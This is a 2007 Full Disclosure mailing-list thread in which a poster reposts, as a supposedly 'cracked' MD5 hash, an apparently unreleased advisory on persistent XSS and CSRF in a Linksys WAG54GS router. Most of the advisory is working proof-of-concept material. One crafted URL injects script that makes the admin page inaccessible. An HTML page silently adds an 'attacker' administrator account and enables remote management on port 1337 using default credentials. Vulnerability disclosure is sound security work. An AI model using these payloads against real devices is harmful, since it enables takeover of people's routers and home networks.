Full Disclosure mailing list archives

Re: Persistent XSS and CSRF on network appliance [subject corrected :) ]


From: "Joey Mengele" <joey.mengele () hushmail com>
Date: Wed, 27 Jun 2007 17:03:48 -0400

After plugging this hash into John The Ripper, I was able to 
reproduce the text of the original advisory. It follows in 
entirety. For those wishing to verify the hash provided by the 
architect, I have also included the advisory in attachment form as 
a convenience for the skeptics who say MD5 can not be reversed.

J

___ BEGIN LAME CRACKED ADVISORY ___
Persistent XSS and CSRF and on Wireless-G ADSL Gateway with 
SpeedBooster (WAG54GS)

== Date found ==

24 June 2007

== Firmware Version ==

V1.00.06

== Description ==


There are several persistent XSS vulnerabilities on the 
'/setup.cgi' script.

It is possible to inject JavaScript by assigning a payload like the 
following
to any of the vulnerable parameters:

<script>[PAYLOAD]</script>

The vulnerable (non-sanitized) parameters are the following:

'devname'
'snmp_getcomm'
'snmp_setcomm'
'c4_trap_ip_'

Additionally, all HTTP requests are not tokenized using non-
predictable values. 
Thus, all requests to the router's HTTP interface are vulnerable to 
Cross-site 
Request Forgeries (CSRF), perhaps by design.

The following is an example of a HTTP request (notice the lack of 
non-predictable tokens):

        POST /setup.cgi HTTP/1.1
        Authorization: Basic YWRtaW46YWRtaW4=

        mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file
=Factorydefaults.htm&next_file=index.htm&message=

Although the original request is a POST, we can convert it to a 
GET, so that all posted parameters can be submitted on a single URL.

For example, the previous POST request can be converted to a URL 
such as the following:

        http://admin:admin@192.168.1.1/setup.cgi?mtenRestore=Restore+Factor
y+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_f
ile=index.htm&message=

By forging administrative requests ("Administration" button on the 
router's HTML menu), an attacker can compromise the router provided 
the
victim user visits a malicious URL or HTML page.

The attack can only be successfuly if any of the following 
conditions are met:

- the administrator hasn't changed the default credentials 
(admin/admin)
- the administrator's browser has an active authentication session 
with the router's interface when the attack happens
  (highly unlikely)


== Persistent XSS PoC ==

The following URL creates a DoS condition by making the 
"Administration" page inaccessible since 'history.back()' 
will run everytime the Administration page is visited. Thus the 
administrator won't be able to ever change the 
default credentials unless a hard reset is performed on using the 
router's physical "restart" switch:

        http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin&;
sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http
_wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_e
nable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=
yes&h_remote_management=enable&c4_trap_ip_="><script>history.back()<
/script>&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=ena
ble&todo=save&this_file=Administration.htm&next_file=Administration.
htm&message=
        http://tinyurl.com/36sjzw


== CSRF PoC ==

The following HTML page does the following:

- adds an *additional* administrative account, with a username 
equals to 'attacker' and a password equals to '0wned' (without 
removing original admin account!)
- enables remote HTTP management over port 1337
- sets other settings that are inrelevant to this discussion

        <html>
        <body>
                <script>
                // send 2 requests to add an administrative account and enable 
remote management
                // tries with default credentials and with credentials cached by 
browser (if any)
        
                var img = new Image();
                var img2 = new Image();

                img.src = 
'http://admin:admin@192.168.1.1/setup.cgi?user_list=8&sysname=attack
er&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&h
ttp_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wla
n_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchang
ed=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable
&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Admin
istration.htm&next_file=Administration.htm&message=';
                img2.src = 
'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd
=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=
1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=ena
ble&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_rem
ote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enab
le=enable&h_wlan_enable=enable&todo=save&this_file=Administration.ht
m&next_file=Administration.htm&message=';
                </script>
        </body>
        </html>

The first URL forges the administrative request using the default 
credentials, so it won't work if default credentials
have been changed.

The second URL doesn't specify any credentials as an attempt to use 
the browser's cached credentials. 
If the admin user has clicked on "Save password" on the basic 
authentication prompt, most browsers will
prompt the user to confirm submitting the cached credentials. The 
only situation in which browsers won't
ask the user to confirm submitting the credentials would be if the 
malicious CSRF page was visited while
the browser has an active authenticated session with the router's 
HTTP interface (very unlikely).


== Additional notes ==

- router reboots after saving settings (requests sent to 
'setup.cgi')

- all attacks were tested using Internet Explorer 7

- No firmware updates were available at time of testing, only GPL 
code is available:

http://www.linksys.com/servlet/Satellite?c=L_CASupport_C2&childpagen
ame=US%2FLayout&cid=1166859889040&pagename=Linksys%2FCommon%2FVisito
rWrapper&lid=8904040638B02&displaypage=download#versiondetail


== References ==

http://www.linksys.com/


== Credits ==

pagvac [ikwt.com] and Petko Petkov [gnucitizen.org]
___ END LAME CRACKED ADVISORY ___

On Wed, 27 Jun 2007 16:29:43 -0400 pagvac 
<unknown.pentester () gmail com> wrote:
The file "research.txt" will be provided once the vendor fixes the
issues. At that point anyone can check that the hash matches the 
one
included in this post.

Thank you.

Joey Mengele wrote:
Please provide the original content of research.txt so I can 
verify
that the hash is correct. I will also need the hash of your
md5sum.exe. Thanks.

J

On Wed, 27 Jun 2007 16:02:16 -0400 pagvac
<unknown.pentester () gmail com> wrote:
The HTTP interface of a network appliance has been researched 
and
found to be vulnerable to several persistent XSS and CSRF.

Such research was done by pdp (architect) and myself. We 
informed
the
vendor and will publish the details when a fix is available.

The following is the MD5 hash for the advisory file.

$ md5sum.exe research.txt
3db1d71fc3a0eae119617b3b1124206f  *research.txt

Regards,

--
pagvac
[http://gnucitizen.org, http://ikwt.com/]

--
Click here for to find products that will help grow your small 
business.

http://tagline.hushmail.com/fc/Ioyw6h4eDJc9UN71zvlsGp4ZGBzvqUZDr59L
zooSm6N56gZuYA97Kt/




--
pagvac
[http://gnucitizen.org, http://ikwt.com/]

--
Click to compare & save $100's on medical insurance, free quote
http://tagline.hushmail.com/fc/Ioyw6h4d8QMxZblXdnEdW8UVP1Fn1j3U80z4JCO7SupmPFugPTsnqg/

Attachment: collision-09fdb141.txt
Description:

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: